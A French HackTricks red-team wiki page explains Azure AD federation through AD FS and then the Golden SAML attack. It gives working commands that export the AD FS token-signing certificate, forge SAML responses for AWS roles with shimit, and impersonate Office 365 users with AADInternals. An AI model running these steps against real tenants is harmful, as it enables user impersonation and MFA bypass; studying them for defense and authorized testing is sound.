Az - Federation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Informations de base

Selon la documentation :

La fĂ©dĂ©ration est un ensemble de domaines qui ont Ă©tabli une confiance. Le niveau de confiance peut varier, mais inclut gĂ©nĂ©ralement l’authentification et inclut presque toujours l’autorisation. Une fĂ©dĂ©ration typique pourrait inclure un certain nombre d’organisations qui ont Ă©tabli une confiance pour un accĂšs partagĂ© Ă  un ensemble de ressources. Vous pouvez fĂ©dĂ©rer votre environnement sur site avec Azure AD et utiliser cette fĂ©dĂ©ration pour l’authentification et l’autorisation. Cette mĂ©thode de connexion garantit que toute authentification des utilisateurs se produit sur site. Cette mĂ©thode permet aux administrateurs de mettre en Ɠuvre des niveaux de contrĂŽle d’accĂšs plus rigoureux. La fĂ©dĂ©ration avec AD FS et PingFederate est disponible.

En gros, dans la fĂ©dĂ©ration, toute authentification se produit dans l’environnement sur site et l’utilisateur bĂ©nĂ©ficie d’un SSO Ă  travers tous les environnements de confiance. Par consĂ©quent, les utilisateurs peuvent accĂ©der aux applications cloud en utilisant leurs identifiants sur site.

Security Assertion Markup Language (SAML) est utilisĂ© pour Ă©changer toutes les informations d’authentification et d’autorisation entre les fournisseurs.

Dans toute configuration de fédération, il y a trois parties :

  • Utilisateur ou Client
  • Fournisseur d’identitĂ© (IdP)
  • Fournisseur de services (SP)
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
  1. Initialement, une application (Fournisseur de services ou SP, comme la console AWS ou le client web vSphere) est accessible par un utilisateur. Cette Ă©tape peut ĂȘtre contournĂ©e, amenant le client directement Ă  l’IdP (Fournisseur d’identitĂ©) selon l’implĂ©mentation spĂ©cifique.
  2. Ensuite, le SP identifie l’IdP appropriĂ© (par exemple, AD FS, Okta) pour l’authentification de l’utilisateur. Il crĂ©e alors une AuthnRequest SAML (Security Assertion Markup Language) et redirige le client vers l’IdP choisi.
  3. L’IdP prend le relais, authentifiant l’utilisateur. AprĂšs l’authentification, une SAMLResponse est formulĂ©e par l’IdP et transmise au SP par l’intermĂ©diaire de l’utilisateur.
  4. Enfin, le SP Ă©value la SAMLResponse. Si elle est validĂ©e avec succĂšs, impliquant une relation de confiance avec l’IdP, l’utilisateur se voit accorder l’accĂšs. Cela marque la fin du processus de connexion, permettant Ă  l’utilisateur d’utiliser le service.

Si vous souhaitez en savoir plus sur l’authentification SAML et les attaques courantes, allez à :

SAML Attacks - HackTricks

Pivotement

  • AD FS est un modĂšle d’identitĂ© basĂ© sur des revendications.
  • “..les revendications sont simplement des dĂ©clarations (par exemple, nom, identitĂ©, groupe), faites Ă  propos des utilisateurs, qui sont utilisĂ©es principalement pour autoriser l’accĂšs Ă  des applications basĂ©es sur des revendications situĂ©es n’importe oĂč sur Internet.”
  • Les revendications pour un utilisateur sont Ă©crites Ă  l’intĂ©rieur des jetons SAML et sont ensuite signĂ©es pour fournir la confidentialitĂ© par l’IdP.
  • Un utilisateur est identifiĂ© par ImmutableID. Il est globalement unique et stockĂ© dans Azure AD.
  • L’ImmutableID est stockĂ© sur site comme ms-DS-ConsistencyGuid pour l’utilisateur et/ou peut ĂȘtre dĂ©rivĂ© du GUID de l’utilisateur.
  • Plus d’infos sur https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Attaque Golden SAML :

  • Dans ADFS, la SAML Response est signĂ©e par un certificat de signature de jeton.
  • Si le certificat est compromis, il est possible de s’authentifier auprĂšs de l’Azure AD en tant que n’importe quel utilisateur synchronisĂ© avec Azure AD !
  • Tout comme notre abus de PTA, le changement de mot de passe pour un utilisateur ou MFA n’aura aucun effet car nous falsifions la rĂ©ponse d’authentification.
  • Le certificat peut ĂȘtre extrait du serveur AD FS avec des privilĂšges DA et peut ensuite ĂȘtre utilisĂ© depuis n’importe quelle machine connectĂ©e Ă  Internet.
  • Plus d’infos sur https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Le processus par lequel un Fournisseur d’identitĂ© (IdP) produit une SAMLResponse pour autoriser la connexion de l’utilisateur est primordial. Selon l’implĂ©mentation spĂ©cifique de l’IdP, la rĂ©ponse peut ĂȘtre signĂ©e ou chiffrĂ©e Ă  l’aide de la clĂ© privĂ©e de l’IdP. Cette procĂ©dure permet au Fournisseur de services (SP) de confirmer l’authenticitĂ© de la SAMLResponse, garantissant qu’elle a bien Ă©tĂ© Ă©mise par un IdP de confiance.

Un parallĂšle peut ĂȘtre Ă©tabli avec l’attaque du golden ticket, oĂč la clĂ© authentifiant l’identitĂ© et les permissions de l’utilisateur (KRBTGT pour les golden tickets, clĂ© privĂ©e de signature de jeton pour le golden SAML) peut ĂȘtre manipulĂ©e pour forger un objet d’authentification (TGT ou SAMLResponse). Cela permet d’usurper l’identitĂ© de n’importe quel utilisateur, accordant un accĂšs non autorisĂ© au SP.

Les Golden SAML offrent certains avantages :

  • Ils peuvent ĂȘtre créés Ă  distance, sans avoir besoin de faire partie du domaine ou de la fĂ©dĂ©ration en question.
  • Ils restent efficaces mĂȘme avec l’authentification Ă  deux facteurs (2FA) activĂ©e.
  • La clĂ© privĂ©e de signature de jeton ne se renouvelle pas automatiquement.
  • Changer le mot de passe d’un utilisateur n’invalide pas un SAML dĂ©jĂ  gĂ©nĂ©rĂ©.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) est un service Microsoft qui facilite l’échange sĂ©curisĂ© d’informations d’identitĂ© entre partenaires commerciaux de confiance (fĂ©dĂ©ration). Il permet essentiellement Ă  un service de domaine de partager des identitĂ©s d’utilisateur avec d’autres fournisseurs de services au sein d’une fĂ©dĂ©ration.

Avec AWS faisant confiance au domaine compromis (dans une fĂ©dĂ©ration), cette vulnĂ©rabilitĂ© peut ĂȘtre exploitĂ©e pour potentiellement acquĂ©rir n’importe quelles permissions dans l’environnement AWS. L’attaque nĂ©cessite la clĂ© privĂ©e utilisĂ©e pour signer les objets SAML, semblable Ă  la nĂ©cessitĂ© du KRBTGT dans une attaque de golden ticket. L’accĂšs au compte utilisateur AD FS est suffisant pour obtenir cette clĂ© privĂ©e.

Les exigences pour exécuter une attaque Golden SAML incluent :

  • ClĂ© privĂ©e de signature de jeton
  • Certificat public de l’IdP
  • Nom de l’IdP
  • Nom du rĂŽle (rĂŽle Ă  assumer)
  • Domaine\nom d’utilisateur
  • Nom de session de rĂŽle dans AWS
  • ID de compte Amazon

Seuls les Ă©lĂ©ments en gras sont obligatoires. Les autres peuvent ĂȘtre remplis selon les besoins.

Pour acquĂ©rir la clĂ© privĂ©e, l’accĂšs au compte utilisateur AD FS est nĂ©cessaire. À partir de lĂ , la clĂ© privĂ©e peut ĂȘtre exportĂ©e du magasin personnel Ă  l’aide d’outils comme mimikatz. Pour rassembler les autres informations requises, vous pouvez utiliser le module Microsoft.Adfs.Powershell comme suit, en vous assurant que vous ĂȘtes connectĂ© en tant qu’utilisateur ADFS :

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Avec toutes les informations, il est possible d’oublier un SAMLResponse valide en tant qu’utilisateur que vous souhaitez imiter en utilisant shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Sur site -> cloud

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Il est également possible de créer un ImmutableID pour les utilisateurs uniquement cloud et de les usurper.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks